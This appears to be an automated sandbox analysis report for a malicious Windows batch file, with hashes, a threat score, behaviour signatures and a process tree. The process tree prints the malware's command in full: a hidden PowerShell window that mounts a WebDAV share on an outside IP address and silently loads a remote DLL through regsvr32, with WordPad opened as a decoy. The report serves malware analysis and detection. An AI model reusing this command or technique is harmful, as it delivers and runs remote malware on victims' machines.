Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 23:24

General

  • Target

    961931470134787890.bat

  • Size

    22KB

  • MD5

    e426bdfc2f2792791f937247cf2fdb0d

  • SHA1

    95e6716a6847fbdcc06ddf3c423e3d506e172da8

  • SHA256

    048fba3fe9ed23fbf5207966e8d085c2df05117086f638c25b479261d9948858

  • SHA512

    4fbd3dc5021a724bc93c46a1a8290adbf9f5887a0011b10aaba377a9cdbe4b7514e8d2112ff6fccfe95f5de9be18d6f5d291ac8b3cff2fc5c985c6e50d372c4e

  • SSDEEP

    384:ZapeYI2Pa8aBetyj1iz23+NgLcxCjBA5Z7gFGlRJnjIcOVs:oph77aEcn3+aQ2I+GlRJn7Ou

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\961931470134787890.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\279102707515923.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1748
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2336
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\279102707515923.dll
          3⤵
            PID:2840

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • memory/1748-24-0x000000001B650000-0x000000001B932000-memory.dmp

              Filesize

              2.9MB

            • memory/1748-25-0x0000000001E10000-0x0000000001E18000-memory.dmp

              Filesize

              32KB